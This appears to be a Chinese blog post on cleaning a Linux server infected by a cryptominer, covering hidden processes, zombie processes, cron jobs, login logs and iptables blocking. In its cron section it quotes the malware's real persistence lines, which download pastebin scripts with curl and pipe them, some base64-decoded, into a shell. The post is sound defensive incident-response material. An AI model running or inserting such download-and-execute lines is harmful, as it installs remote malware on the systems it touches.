zoukankan      html  css  js  c++  java
  • 服务器被挖矿

     查看哪个进程占据cup

    通过 top 或者使用  ps aux

    我这个通过top 命令看不到哪个进程占用了cup ,执行  cat /etc/ld.so.preload 查看,里面也加载了异常的文件,判断是用于隐藏进程用的, 建议将其内容注释掉或删除,执行ldconfig 然后再使用top 查看下进程; 使用  ls -lt /etc | head  查看最近变动的文件目录 或者使用 find 命令  查找最近修改过的文件

    查找进程文件删除,执行其中任意 1 条命令即可  

    ps -ef | grep shutdown [命令]    

    ps aux | grep /bin/bash [命令路径]

    ps aux | grep bash [命令]

    lsof -p PID

    cd /proc/4170 [pid] 

    ps aux 输出格式 :

    root 14232 0.0 0.0 5928 724 pts/1 S+ 18:16 0:00 grep ./update_stock
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    格式说明:
    USER: 行程拥有者
    PID: pid
    %CPU: 占用的 CPU 使用率
    %MEM: 占用的记忆体使用率
    VSZ: 占用的虚拟记忆体大小
    RSS: 占用的记忆体大小
    TTY: 终端的次要装置号码 (minor number of tty)
    STAT: 该行程的状态,linux的进程有5种状态:
        D 不可中断 uninterruptible sleep (usually IO)
        R 运行 runnable (on run queue)
        S 中断 sleeping
        T 停止 traced or stopped
        Z 僵死 a defunct (”zombie”) process
        注: 其它状态还包括W(无驻留页), <(高优先级进程), N(低优先级进程), L(内存锁页).
    START: 行程开始时间
    TIME: 执行的时间
    COMMAND:所执行的指令

    找出系统中所有的僵尸进程

    ps aux | grep 'defunct'  


    ps -ef | grep defunct | grep -v grep | wc -l

    清理僵尸进程 

    ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9

    kill -HUP `ps -A -ostat,ppid | grep -e '^[Zz]' | awk '{print $2}'`

    查找系统中的定时任务

    crontab -l 

    或者

    cd /var/spool/cron  #查看这个文件夹下的文件删除
    vim /etc/crontab 

    里面会有一个定时任务我的分别是一下这几个(删除), 浏览器打开网址是个脚本,通过base64 加密,解密即可看到脚本内容

    * */10 * * *    /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh
     */1 * * * root /bin/sh /bin/httpdns
    /usr/bin/curl -fsSL --connect-timeout 120 https://pastebin.com/raw/kDSLjxfQ|/usr/bin/base64 -d|/bin/bash

    根据脚本删除脚本创建的文件,我这里删除的是  

    /usr/local/lib/libjdk.so ,/etc/ld.so.preload

    查看系统登录日志

    日志文件 /var/log/wtmp ,系统的每一次登录,都会在此日志中添加记录,为了防止有人篡改,该文件为二进制文件

    cd   /var/log ; last  或者  last -f /var/log/wtmp 

    删除历史操作命令,防止黑客进入查看你做了哪些操作

    history 命令来查看历史命令

    history -c 是清除当前shell的历史纪录,因为系统一般会把信息保存在一个文件中,只要文件中内容没有改变,那么信息也不会变。linux中存放历史命令的文件是.bash_history,清空该文件(echo ‘’ > /root/.bash_history),那些历史命令就会被清空了。

    如果是在shell脚本中调用 history -c 清空当前shell的历史命令,是不会成功的,因为bash执行命令时默认是会产生一个子进程来执行该命令,在子进程中执行 history -c 不是清除你当前shell的历史命令了。可以使用source来执行脚本(source ./脚本),source 指在当前bash环境下执行命令。

    关闭不需要的端口

    屏蔽访问脚本中的域名 ip,关闭访问挖矿服务器的访问

    iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
    iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP 

    如果安装了redis ,修改redis 端口,设置复杂高一些密码  Redis 未授权访问缺陷可轻易导致系统被黑

  • 相关阅读:
    如何使用sendEmail发送邮件
    Linux curl命令详解
    linux比较两个文件是否一样(linux命令md5sum使用方法)
    strace命令用法详解
    strace用法说明
    ORA-12154 TNS无法解析指定的连接标识符
    VNC远程连接阿里云Linux服务器 图形界面
    pycharm配置Git 代码管理
    FireFox浏览器-xpath快速定位插件:Xpath Checker
    odoo 前端模板引擎 Qweb
  • 原文地址:https://www.cnblogs.com/xuey/p/9566094.html
Copyright © 2011-2022 走看看